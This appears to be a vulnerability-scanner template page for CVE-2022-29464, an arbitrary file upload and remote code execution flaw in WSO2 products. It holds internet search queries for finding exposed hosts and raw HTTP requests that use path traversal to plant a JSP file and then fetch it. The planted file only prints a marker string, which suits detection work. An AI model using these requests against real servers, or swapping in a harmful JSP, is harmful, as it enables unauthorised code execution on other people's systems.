| Title | WSO2 Management - Arbitrary File Upload & Remote Code Execution |
|---|---|
| Author | luci,dhiyaneshDk |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to upload malicious files and execute arbitrary code on the affected system. |
| Remediation | Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94434 |
| CVE ID | CVE-2022-29464 |
| CWE ID | CWE-22 |
| Shodan Query | http.favicon.hash:1398055326 |
| Fofa Query | icon_hash=1398055326 |
| Tags | cve cve2022 rce fileupload wso2 intrusive kev vkev vuln |
Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
POST /fileupload/toolsAny HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 375
Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
Accept-Encoding: gzip
-----------------------------250033711231076532771336998311
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/38f9htgeyud2ftzvbct4fvgyxkk.jsp";filename="test.jsp"
Content-Type: application/octet-stream
<% out.print("WSO2-RCE-CVE-2022-29464"); %>
-----------------------------250033711231076532771336998311--
GET /authenticationendpoint/38f9htgeyud2ftzvbct4fvgyxkk.jsp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29464.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-29464.pcap
N/AN/A